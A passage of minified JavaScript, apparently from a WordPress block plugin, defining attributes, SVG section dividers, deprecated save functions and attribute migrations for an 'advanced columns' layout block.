left"},backgroundOverlayRepeat:{type:"string",default:"repeat"},backgroundOverlaySize:{type:"string",default:"auto"},backgroundOverlayGradientFirstColor:{type:"string",default:"#36d1dc"},backgroundOverlayGradientFirstLocation:{type:"number",default:0},backgroundOverlayGradientSecondColor:{type:"string",default:"#5b86e5"},backgroundOverlayGradientSecondLocation:{type:"number",default:100},backgroundOverlayGradientType:{type:"string",default:"linear"},backgroundOverlayGradientAngle:{type:"number",default:90},backgroundOverlayGradientPosition:{type:"string",default:"center center"},backgroundOverlayFilterBlur:{type:"number",default:0},backgroundOverlayFilterBrightness:{type:"number",default:10},backgroundOverlayFilterContrast:{type:"number",default:10},backgroundOverlayFilterGrayscale:{type:"number",default:0},backgroundOverlayFilterHue:{type:"number",default:0},backgroundOverlayFilterSaturate:{type:"number",default:10},backgroundOverlayBlend:{type:"string",default:"normal"},borderType:{type:"string",default:"linked"},border:{type:"number",default:0},borderTop:{type:"number",default:0},borderRight:{type:"number",default:0},borderBottom:{type:"number",default:0},borderLeft:{type:"number",default:0},borderColor:{type:"string",default:"#000000"},borderRadiusType:{type:"string",default:"linked"},borderRadius:{type:"number",default:0},borderRadiusTop:{type:"number",default:0},borderRadiusRight:{type:"number",default:0},borderRadiusBottom:{type:"number",default:0},borderRadiusLeft:{type:"number",default:0},boxShadow:{type:"boolean",default:!1},boxShadowColor:{type:"string",default:"#000000"},boxShadowColorOpacity:{type:"number",default:50},boxShadowBlur:{type:"number",default:5},boxShadowSpread:{type:"number",default:0},boxShadowHorizontal:{type:"number",default:0},boxShadowVertical:{type:"number",default:0},dividerTopType:{type:"string",default:"none"},dividerTopColor:{type:"string",default:"#000000"},dividerTopWidth:{type:"number",default:100},dividerTopWidthTablet:{type:"number",default:100},dividerTopWidthMobile:{type:"number",default:100},dividerTopHeight:{type:"number",default:100},dividerTopHeightTablet:{type:"number",default:100},dividerTopHeightMobile:{type:"number",default:100},dividerTopInvert:{type:"boolean",default:!1},dividerBottomType:{type:"string",default:"none"},dividerBottomColor:{type:"string",default:"#000000"},dividerBottomWidth:{type:"number",default:100},dividerBottomWidthTablet:{type:"number",default:100},dividerBottomWidthMobile:{type:"number",default:100},dividerBottomHeight:{type:"number",default:100},dividerBottomHeightTablet:{type:"number",default:100},dividerBottomHeightMobile:{type:"number",default:100},dividerBottomInvert:{type:"boolean",default:!1},hide:{type:"boolean",default:!1},hideTablet:{type:"boolean",default:!1},hideMobile:{type:"boolean",default:!1},columnsHTMLTag:{type:"string",default:"div"}},fa=({type:e,front:t,style:l,fill:o,invert:a,width:n,height:r})=>"none"!==l&&(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-advanced-columns-separators",e),style:!t&&n?{transform:n?`scaleX( ${n/100} )`:""}:{}},"bigTriangle"===l&&!1===a&&(0,i.createElement)(p.SVG,{id:"bigTriangle",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"bottom"===e?{transform:"bottom"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M0 0 L50 100 L100 0 Z"})),"bigTriangle"===l&&!0===a&&(0,i.createElement)(p.SVG,{id:"bigTriangle",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"top"===e?{transform:"top"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M100, 0l-50, 100l-50, -100l0, 100l100, 0l0, -100Z"})),"rightCurve"===l&&!1===a&&(0,i.createElement)(p.SVG,{id:"rightCurve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"top"===e?{transform:"top"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M0 100 C 20 0 50 0 100 100 Z"})),"rightCurve"===l&&!0===a&&(0,i.createElement)(p.SVG,{id:"rightCurve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"top"===e?{transform:"top"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M0 100 C 50 0 70 0 100 100 Z"})),"curve"===l&&(0,i.createElement)(p.SVG,{id:"curve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"top"===e?{transform:"top"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M0 100 C40 0 60 0 100 100 Z"})),"slant"===l&&!1===a&&(0,i.createElement)(p.SVG,{id:"slant",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"bottom"===e?{transform:"bottom"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M0 0 L100 100 L100 0 Z"})),"slant"===l&&!0===a&&(0,i.createElement)(p.SVG,{id:"slant",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"bottom"===e?{transform:"bottom"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M0 0 L0 100 L100 0 Z"})),"cloud"===l&&(0,i.createElement)(p.SVG,{id:"cloud",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",style:"top"===e?{transform:"top"===e?"rotate(180deg)":""}:{}},(0,i.createElement)(p.Path,{d:"M-5 100 Q 10 -100 15 100 Z M10 100 Q 20 -20 30 100 M25 100 Q 35 -70 45 100 M40 100 Q 50 -100 60 100 M55 100 Q 65 -20 75 100 M70 100 Q 75 -45 90 100 M85 100 Q 90 -50 95 100 M90 100 Q 95 -25 105 100 Z"}))),va=({type:e,front:t,style:l,fill:o,invert:a,width:n,height:r})=>"none"!==l&&(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-advanced-columns-separators",e),style:!t&&n?{transform:n?`scaleX( ${n/100} )`:""}:{}},"bigTriangle"===l&&!1===a&&(0,i.createElement)(p.SVG,{id:"bigTriangle",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"bottom"===e})},(0,i.createElement)(p.Path,{d:"M0 0 L50 100 L100 0 Z"})),"bigTriangle"===l&&!0===a&&(0,i.createElement)(p.SVG,{id:"bigTriangle",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)(p.Path,{d:"M100, 0l-50, 100l-50, -100l0, 100l100, 0l0, -100Z"})),"rightCurve"===l&&!1===a&&(0,i.createElement)(p.SVG,{id:"rightCurve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)(p.Path,{d:"M0 100 C 20 0 50 0 100 100 Z"})),"rightCurve"===l&&!0===a&&(0,i.createElement)(p.SVG,{id:"rightCurve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)(p.Path,{d:"M0 100 C 50 0 70 0 100 100 Z"})),"curve"===l&&(0,i.createElement)(p.SVG,{id:"curve",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)(p.Path,{d:"M0 100 C40 0 60 0 100 100 Z"})),"slant"===l&&!1===a&&(0,i.createElement)(p.SVG,{id:"slant",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"bottom"===e})},(0,i.createElement)(p.Path,{d:"M0 0 L100 100 L100 0 Z"})),"slant"===l&&!0===a&&(0,i.createElement)(p.SVG,{id:"slant",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"bottom"===e})},(0,i.createElement)(p.Path,{d:"M0 0 L0 100 L100 0 Z"})),"cloud"===l&&(0,i.createElement)(p.SVG,{id:"cloud",fill:o,viewBox:"0 0 100 100",width:"100%",height:r?`${r}px`:"100",preserveAspectRatio:"none",xmlns:"http://www.w3.org/2000/svg",className:c()({rotate:"top"===e})},(0,i.createElement)(p.Path,{d:"M-5 100 Q 10 -100 15 100 Z M10 100 Q 20 -20 30 100 M25 100 Q 35 -70 45 100 M40 100 Q 50 -100 60 100 M55 100 Q 65 -20 75 100 M70 100 Q 75 -45 90 100 M85 100 Q 90 -50 95 100 M90 100 Q 95 -25 105 100 Z"}))),_a=[{attributes:ya,supports:{align:["wide","full"],html:!1},save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag;let o,a,n,r,s;if("color"===e.backgroundType&&(o={background:e.backgroundColor}),"image"===e.backgroundType&&(o={backgroundImage:`url( '${e.backgroundImageURL}' )`,backgroundAttachment:e.backgroundAttachment,backgroundPosition:e.backgroundPosition,backgroundRepeat:e.backgroundRepeat,backgroundSize:e.backgroundSize}),"gradient"===e.backgroundType){let t;t="linear"===e.backgroundGradientType?`${e.backgroundGradientAngle}deg`:`at ${e.backgroundGradientPosition}`,o={background:`${e.backgroundGradientType}-gradient( ${t}, ${e.backgroundGradientFirstColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientFirstLocation}%, ${e.backgroundGradientSecondColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientSecondLocation}% )`}}"linked"===e.borderType&&(n={borderWidth:`${e.border}px`,borderStyle:"solid",borderColor:e.borderColor}),"unlinked"===e.borderType&&(n={borderTopWidth:`${e.borderTop}px`,borderRightWidth:`${e.borderRight}px`,borderBottomWidth:`${e.borderBottom}px`,borderLeftWidth:`${e.borderLeft}px`,borderStyle:"solid",borderColor:e.borderColor}),"linked"===e.borderRadiusType&&(r={borderRadius:`${e.borderRadius}px`}),"unlinked"===e.borderRadiusType&&(r={borderTopLeftRadius:`${e.borderRadiusTop}px`,borderTopRightRadius:`${e.borderRadiusRight}px`,borderBottomRightRadius:`${e.borderRadiusBottom}px`,borderBottomLeftRadius:`${e.borderRadiusLeft}px`}),!0===e.boxShadow&&(s={boxShadow:`${e.boxShadowHorizontal}px ${e.boxShadowVertical}px ${e.boxShadowBlur}px ${e.boxShadowSpread}px ${O()(e.boxShadowColor?e.boxShadowColor:"#000000",e.boxShadowColorOpacity)}`});const d={...o,...n,...r,...s,justifyContent:e.horizontalAlign};if("color"===e.backgroundOverlayType&&(a={background:e.backgroundOverlayColor,opacity:e.backgroundOverlayOpacity/100}),"image"===e.backgroundOverlayType&&(a={backgroundImage:`url( '${e.backgroundOverlayImageURL}' )`,backgroundAttachment:e.backgroundOverlayAttachment,backgroundPosition:e.backgroundOverlayPosition,backgroundRepeat:e.backgroundOverlayRepeat,backgroundSize:e.backgroundOverlaySize,opacity:e.backgroundOverlayOpacity/100}),"gradient"===e.backgroundOverlayType){let t;t="linear"===e.backgroundOverlayGradientType?`${e.backgroundOverlayGradientAngle}deg`:`at ${e.backgroundOverlayGradientPosition}`,a={background:`${e.backgroundOverlayGradientType}-gradient( ${t}, ${e.backgroundOverlayGradientFirstColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundOverlayGradientFirstLocation}%, ${e.backgroundOverlayGradientSecondColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundOverlayGradientSecondLocation}% )`,opacity:e.backgroundOverlayOpacity/100}}const b={...a,mixBlendMode:e.backgroundOverlayBlend,filter:`blur( ${e.backgroundOverlayFilterBlur/10}px ) brightness( ${e.backgroundOverlayFilterBrightness/10} ) contrast( ${e.backgroundOverlayFilterContrast/10} ) grayscale( ${e.backgroundOverlayFilterGrayscale/100} ) hue-rotate( ${e.backgroundOverlayFilterHue}deg ) saturate( ${e.backgroundOverlayFilterSaturate/10} )`};let m={};e.columnsWidth&&(m={maxWidth:e.columnsWidth+"px"});const p=e.hide?"":`has-desktop-${e.layout}-layout`,g=e.hideTablet?"":`has-tablet-${e.layoutTablet}-layout`,h=e.hideMobile?"":`has-mobile-${e.layoutMobile}-layout`,k=c()(t,`has-${e.columns}-columns`,p,g,h,{"hide-in-desktop":e.hide},{"hide-in-tablet":e.hideTablet},{"hide-in-mobile":e.hideMobile},`has-${e.lcolumnsGap}-gap`,`has-vertical-${e.verticalAlign}`);return(0,i.createElement)(l,{className:k,id:e.id,style:d},(0,i.createElement)("div",{className:"wp-themeisle-block-overlay",style:b}),(0,i.createElement)(fa,{type:"top",front:!0,style:e.dividerTopType,fill:e.dividerTopColor,invert:e.dividerTopInvert}),(0,i.createElement)("div",{className:"innerblocks-wrap",style:m},(0,i.createElement)(u.InnerBlocks.Content,null)),(0,i.createElement)(fa,{type:"bottom",front:!0,style:e.dividerBottomType,fill:e.dividerBottomColor,invert:e.dividerBottomInvert}))}},{attributes:ya,supports:{align:["wide","full"],html:!1},save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag;let o,a,n,r,s;if("color"===e.backgroundType&&(o={background:e.backgroundColor}),"image"===e.backgroundType&&(o={backgroundImage:`url( '${e.backgroundImageURL}' )`,backgroundAttachment:e.backgroundAttachment,backgroundPosition:e.backgroundPosition,backgroundRepeat:e.backgroundRepeat,backgroundSize:e.backgroundSize}),"gradient"===e.backgroundType){let t;t="linear"===e.backgroundGradientType?`${e.backgroundGradientAngle}deg`:`at ${e.backgroundGradientPosition}`,o={background:`${e.backgroundGradientType}-gradient( ${t}, ${e.backgroundGradientFirstColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientFirstLocation}%, ${e.backgroundGradientSecondColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientSecondLocation}% )`}}"linked"===e.borderType&&(n={borderWidth:`${e.border}px`,borderStyle:"solid",borderColor:e.borderColor}),"unlinked"===e.borderType&&(n={borderTopWidth:`${e.borderTop}px`,borderRightWidth:`${e.borderRight}px`,borderBottomWidth:`${e.borderBottom}px`,borderLeftWidth:`${e.borderLeft}px`,borderStyle:"solid",borderColor:e.borderColor}),"linked"===e.borderRadiusType&&(r={borderRadius:`${e.borderRadius}px`}),"unlinked"===e.borderRadiusType&&(r={borderTopLeftRadius:`${e.borderRadiusTop}px`,borderTopRightRadius:`${e.borderRadiusRight}px`,borderBottomRightRadius:`${e.borderRadiusBottom}px`,borderBottomLeftRadius:`${e.borderRadiusLeft}px`}),!0===e.boxShadow&&(s={boxShadow:`${e.boxShadowHorizontal}px ${e.boxShadowVertical}px ${e.boxShadowBlur}px ${e.boxShadowSpread}px ${O()(e.boxShadowColor?e.boxShadowColor:"#000000",e.boxShadowColorOpacity)}`});const d={...o,...n,...r,...s,justifyContent:e.horizontalAlign};if("color"===e.backgroundOverlayType&&(a={background:e.backgroundOverlayColor,opacity:e.backgroundOverlayOpacity/100}),"image"===e.backgroundOverlayType&&(a={backgroundImage:`url( '${e.backgroundOverlayImageURL}' )`,backgroundAttachment:e.backgroundOverlayAttachment,backgroundPosition:e.backgroundOverlayPosition,backgroundRepeat:e.backgroundOverlayRepeat,backgroundSize:e.backgroundOverlaySize,opacity:e.backgroundOverlayOpacity/100}),"gradient"===e.backgroundOverlayType){let t;t="linear"===e.backgroundOverlayGradientType?`${e.backgroundOverlayGradientAngle}deg`:`at ${e.backgroundOverlayGradientPosition}`,a={background:`${e.backgroundOverlayGradientType}-gradient( ${t}, ${e.backgroundOverlayGradientFirstColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundOverlayGradientFirstLocation}%, ${e.backgroundOverlayGradientSecondColor||"rgba( 0, 0, 0, 0 )"} ${e.backgroundOverlayGradientSecondLocation}% )`,opacity:e.backgroundOverlayOpacity/100}}const b={...a,mixBlendMode:e.backgroundOverlayBlend};let m={};e.columnsWidth&&(m={maxWidth:e.columnsWidth+"px"});const p=e.hide?"":`has-desktop-${e.layout}-layout`,g=e.hideTablet?"":`has-tablet-${e.layoutTablet}-layout`,h=e.hideMobile?"":`has-mobile-${e.layoutMobile}-layout`,k=c()(t,`has-${e.columns}-columns`,p,g,h,{"hide-in-desktop":e.hide},{"hide-in-tablet":e.hideTablet},{"hide-in-mobile":e.hideMobile},`has-${e.columnsGap}-gap`,`has-vertical-${e.verticalAlign}`);return(0,i.createElement)(l,{className:k,id:e.id,style:d},(0,i.createElement)("div",{className:"wp-themeisle-block-overlay",style:b}),(0,i.createElement)(fa,{type:"top",front:!0,style:e.dividerTopType,fill:e.dividerTopColor,invert:e.dividerTopInvert}),(0,i.createElement)("div",{className:"innerblocks-wrap",style:m},(0,i.createElement)(u.InnerBlocks.Content,null)),(0,i.createElement)(fa,{type:"bottom",front:!0,style:e.dividerBottomType,fill:e.dividerBottomColor,invert:e.dividerBottomInvert}))}},{attributes:{...ya,paddingTablet:{type:"number"},paddingMobile:{type:"number"},paddingTopTablet:{type:"number"},paddingTopMobile:{type:"number"},paddingRightTablet:{type:"number"},paddingRightMobile:{type:"number"},paddingBottomTablet:{type:"number"},paddingBottomMobile:{type:"number"},paddingLeftTablet:{type:"number"},paddingLeftMobile:{type:"number"},marginTablet:{type:"number"},marginMobile:{type:"number"},marginTopTablet:{type:"number"},marginTopMobile:{type:"number"},marginBottomTablet:{type:"number"},marginBottomMobile:{type:"number"},reverseColumnsTablet:{type:"boolean",default:!1},reverseColumnsMobile:{type:"boolean",default:!1}},supports:{align:["wide","full"],html:!1},save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag,o=e.hide?"":`has-desktop-${e.layout}-layout`,a=e.hideTablet?"":`has-tablet-${e.layoutTablet}-layout`,n=e.hideMobile?"":`has-mobile-${e.layoutMobile}-layout`,r=c()(t,`has-${e.columns}-columns`,o,a,n,{"hide-in-desktop":e.hide},{"hide-in-tablet":e.hideTablet},{"hide-in-mobile":e.hideMobile},{"has-reverse-columns-tablet":e.reverseColumnsTablet&&!e.hideTablet&&"collapsedRows"===e.layoutTablet},{"has-reverse-columns-mobile":e.reverseColumnsMobile&&!e.hideMobile&&"collapsedRows"===e.layoutMobile},`has-${e.columnsGap}-gap`,`has-vertical-${e.verticalAlign}`);return(0,i.createElement)(l,{className:r,id:e.id},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-advanced-columns-overlay"}),(0,i.createElement)(va,{type:"top",front:!0,style:e.dividerTopType,fill:e.dividerTopColor,invert:e.dividerTopInvert}),(0,i.createElement)("div",{className:"innerblocks-wrap"},(0,i.createElement)(u.InnerBlocks.Content,null)),(0,i.createElement)(va,{type:"bottom",front:!0,style:e.dividerBottomType,fill:e.dividerBottomColor,invert:e.dividerBottomInvert}))}},{attributes:{...ya,paddingTablet:{type:"number"},paddingMobile:{type:"number"},paddingTopTablet:{type:"number"},paddingTopMobile:{type:"number"},paddingRightTablet:{type:"number"},paddingRightMobile:{type:"number"},paddingBottomTablet:{type:"number"},paddingBottomMobile:{type:"number"},paddingLeftTablet:{type:"number"},paddingLeftMobile:{type:"number"},marginTablet:{type:"number"},marginMobile:{type:"number"},marginTopTablet:{type:"number"},marginTopMobile:{type:"number"},marginBottomTablet:{type:"number"},marginBottomMobile:{type:"number"},reverseColumnsTablet:{type:"boolean",default:!1},reverseColumnsMobile:{type:"boolean",default:!1}},supports:{align:["wide","full"],html:!1},migrate:e=>{let t="",l="";if("gradient"===e.backgroundType){let l="";"linear"===e.backgroundGradientType&&(l=`${e.backgroundGradientAngle}deg, `),t=`${e.backgroundGradientType}-gradient(${l}${O()(e.backgroundGradientFirstColor)||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientFirstLocation}%, ${O()(e.backgroundGradientSecondColor)||"rgba( 0, 0, 0, 0 )"} ${e.backgroundGradientSecondLocation}%)`}if("gradient"===e.backgroundOverlayType){let t="";"linear"===e.backgroundOverlayGradientType&&(t=`${e.backgroundOverlayGradientAngle}deg, `),l=`${e.backgroundOverlayGradientType}-gradient(${t}${O()(e.backgroundOverlayGradientFirstColor)||"rgba( 0, 0, 0, 0 )"} ${e.backgroundOverlayGradientFirstLocation}%, ${O()(e.backgroundOverlayGradientSecondColor)||"rgba( 0, 0, 0, 0 )"} ${e.backgroundOverlayGradientSecondLocation}%)`}return{...{...(0,A.omit)(e,["backgroundGradientFirstColor","backgroundGradientFirstLocation","backgroundGradientSecondColor","backgroundGradientSecondLocation","backgroundGradientType","backgroundGradientAngle","backgroundGradientPosition","backgroundOverlayGradientFirstColor","backgroundOverlayGradientFirstLocation","backgroundOverlayGradientSecondColor","backgroundOverlayGradientSecondLocation","backgroundOverlayGradientType","backgroundOverlayGradientAngle","backgroundOverlayGradientPosition"]),backgroundGradient:t,backgroundOverlayGradient:l}}},isEligible:e=>"gradient"===e.backgroundType&&void 0!==e.backgroundGradientFirstColor||"gradient"===e.backgroundOverlayType&&void 0!==e.backgroundOverlayGradientFirstColor,save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag,o=e.hide?"":`has-desktop-${e.layout}-layout`,a=e.hideTablet?"":`has-tablet-${e.layoutTablet}-layout`,n=e.hideMobile?"":`has-mobile-${e.layoutMobile}-layout`,r=c()(t,`has-${e.columns}-columns`,o,a,n,{"hide-in-desktop":e.hide},{"hide-in-tablet":e.hideTablet},{"hide-in-mobile":e.hideMobile},{"has-reverse-columns-tablet":e.reverseColumnsTablet&&!e.hideTablet&&"collapsedRows"===e.layoutTablet},{"has-reverse-columns-mobile":e.reverseColumnsMobile&&!e.hideMobile&&"collapsedRows"===e.layoutMobile},`has-${e.columnsGap}-gap`,`has-vertical-${e.verticalAlign}`);return(0,i.createElement)(l,{className:r,id:e.id},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-advanced-columns-overlay"}),(0,i.createElement)(va,{type:"top",front:!0,style:e.dividerTopType,fill:e.dividerTopColor,invert:e.dividerTopInvert}),(0,i.createElement)("div",{className:"innerblocks-wrap"},(0,i.createElement)(u.InnerBlocks.Content,null)),(0,i.createElement)(va,{type:"bottom",front:!0,style:e.dividerBottomType,fill:e.dividerBottomColor,invert:e.dividerBottomInvert}))}},{attributes:{...(0,A.omit)(ya,["backgroundGradientFirstColor","backgroundGradientFirstLocation","backgroundGradientSecondColor","backgroundGradientSecondLocation","backgroundGradientType","backgroundGradientAngle","backgroundGradientPosition","backgroundOverlayGradientFirstColor","backgroundOverlayGradientFirstLocation","backgroundOverlayGradientSecondColor","backgroundOverlayGradientSecondLocation","backgroundOverlayGradientType","backgroundOverlayGradientAngle","backgroundOverlayGradientPosition"]),paddingTablet:{type:"number"},paddingMobile:{type:"number"},paddingTopTablet:{type:"number"},paddingTopMobile:{type:"number"},paddingRightTablet:{type:"number"},paddingRightMobile:{type:"number"},paddingBottomTablet:{type:"number"},paddingBottomMobile:{type:"number"},paddingLeftTablet:{type:"number"},paddingLeftMobile:{type:"number"},marginTablet:{type:"number"},marginMobile:{type:"number"},marginTopTablet:{type:"number"},marginTopMobile:{type:"number"},marginBottomTablet:{type:"number"},marginBottomMobile:{type:"number"},backgroundGradient:{type:"string",default:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)"},backgroundOverlayGradient:{type:"string",default:"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)"},reverseColumnsTablet:{type:"boolean",default:!1},reverseColumnsMobile:{type:"boolean",default:!1}},supports:{align:["wide","full"],html:!1},migrate:e=>{const t={},l={},o={},a={},n={},r={},i={},s={};let c={},d={},u={},b={};"unlinked"===e.paddingType?(t.top=(0,A.isUndefined)(e.paddingTop)?"20px":e.paddingTop+"px",t.bottom=(0,A.isUndefined)(e.paddingBottom)?"20px":e.paddingBottom+"px",t.left=(0,A.isUndefined)(e.paddingLeft)?"20px":e.paddingLeft+"px",t.right=(0,A.isUndefined)(e.paddingRight)?"20px":e.paddingRight+"px"):(t.top=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px",t.bottom=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px",t.left=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px",t.right=(0,A.isUndefined)(e.padding)?"20px":e.padding+"px"),"unlinked"===e.paddingTypeTablet?(l.top=(0,A.isUndefined)(e.paddingTopTablet)?null:e.paddingTopTablet+"px",l.bottom=(0,A.isUndefined)(e.paddingBottomTablet)?null:e.paddingBottomTablet+"px",l.left=(0,A.isUndefined)(e.paddingLeftTablet)?null:e.paddingLeftTablet+"px",l.right=(0,A.isUndefined)(e.paddingRightTablet)?null:e.paddingRightTablet+"px"):(l.top=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px",l.bottom=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px",l.left=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px",l.right=(0,A.isUndefined)(e.paddingTablet)?null:e.paddingTablet+"px"),"unlinked"===e.paddingTypeMobile?(o.top=(0,A.isUndefined)(e.paddingMobileTop)?null:e.paddingMobileTop+"px",o.bottom=(0,A.isUndefined)(e.paddingMobileBottom)?null:e.paddingMobileBottom+"px",o.left=(0,A.isUndefined)(e.paddingMobileLeft)?null:e.paddingMobileLeft+"px",o.right=(0,A.isUndefined)(e.paddingMobileRight)?null:e.paddingMobileRight+"px"):(o.top=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px",o.bottom=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px",o.left=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px",o.right=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px"),"linked"===e.marginType?(a.top=(0,A.isUndefined)(e.margin)?"20px":e.margin+"px",a.bottom=(0,A.isUndefined)(e.margin)?"20px":e.margin+"px"):(a.top=(0,A.isUndefined)(e.marginTop)?"20px":e.marginTop+"px",a.bottom=(0,A.isUndefined)(e.marginBottom)?"20px":e.marginBottom+"px"),"linked"===e.marginTypeTablet?(n.top=(0,A.isUndefined)(e.marginTablet)?null:e.marginTablet+"px",n.bottom=(0,A.isUndefined)(e.marginTablet)?null:e.marginTablet+"px"):(n.top=(0,A.isUndefined)(e.marginTopTablet)?null:e.marginTopTablet+"px",n.bottom=(0,A.isUndefined)(e.marginBottomTablet)?null:e.marginBottomTablet+"px"),"linked"===e.marginTypeMobile?(r.top=(0,A.isUndefined)(e.marginMobile)?null:e.marginMobile+"px",r.bottom=(0,A.isUndefined)(e.marginMobile)?null:e.marginMobile+"px"):(r.top=(0,A.isUndefined)(e.marginTopMobile)?null:e.marginTopMobile+"px",r.bottom=(0,A.isUndefined)(e.marginBottomMobile)?null:e.marginBottomMobile+"px"),"unlinked"===e.borderType?(i.top=(0,A.isUndefined)(e.borderTop)?null:e.borderTop+"px",i.bottom=(0,A.isUndefined)(e.borderBottom)?null:e.borderBottom+"px",i.left=(0,A.isUndefined)(e.borderLeft)?null:e.borderLeft+"px",i.right=(0,A.isUndefined)(e.borderRight)?null:e.borderRight+"px"):(i.top=(0,A.isUndefined)(e.border)?null:e.border+"px",i.bottom=(0,A.isUndefined)(e.border)?null:e.border+"px",i.left=(0,A.isUndefined)(e.border)?null:e.border+"px",i.right=(0,A.isUndefined)(e.border)?null:e.border+"px"),"unlinked"===e.borderRadiusType?(s.top=(0,A.isUndefined)(e.borderRadiusTop)?null:e.borderRadiusTop+"px",s.bottom=(0,A.isUndefined)(e.borderRadiusBottom)?null:e.borderRadiusBottom+"px",s.left=(0,A.isUndefined)(e.borderRadiusLeft)?null:e.borderRadiusLeft+"px",s.right=(0,A.isUndefined)(e.borderRadiusRight)?null:e.borderRadiusRight+"px"):(s.top=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px",s.bottom=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px",s.left=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px",s.right=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px"),void 0!==e.backgroundImageURL&&void 0!==e.backgroundImageID&&(c={id:e.backgroundImageID,url:e.backgroundImageURL}),void 0!==e.backgroundOverlayImageURL&&void 0!==e.backgroundOverlayImageID&&(d={id:e.backgroundOverlayImageID,url:e.backgroundOverlayImageURL});const m={"top left":{x:"0.00",y:"0.00"},"top center":{x:"0.50",y:"0.00"},"top right":{x:"1.00",y:"0.00"},"center left":{x:"0.00",y:"0.50"},"center center":{x:"0.50",y:"0.50"},"center right":{x:"1.00",y:"0.50"},"bottom left":{x:"0.00",y:"1.00"},"bottom center":{x:"0.50",y:"1.00"},"bottom right":{x:"1.00",y:"1.00"}};return void 0!==e.backgroundPosition&&(u=m[e.backgroundPosition]),void 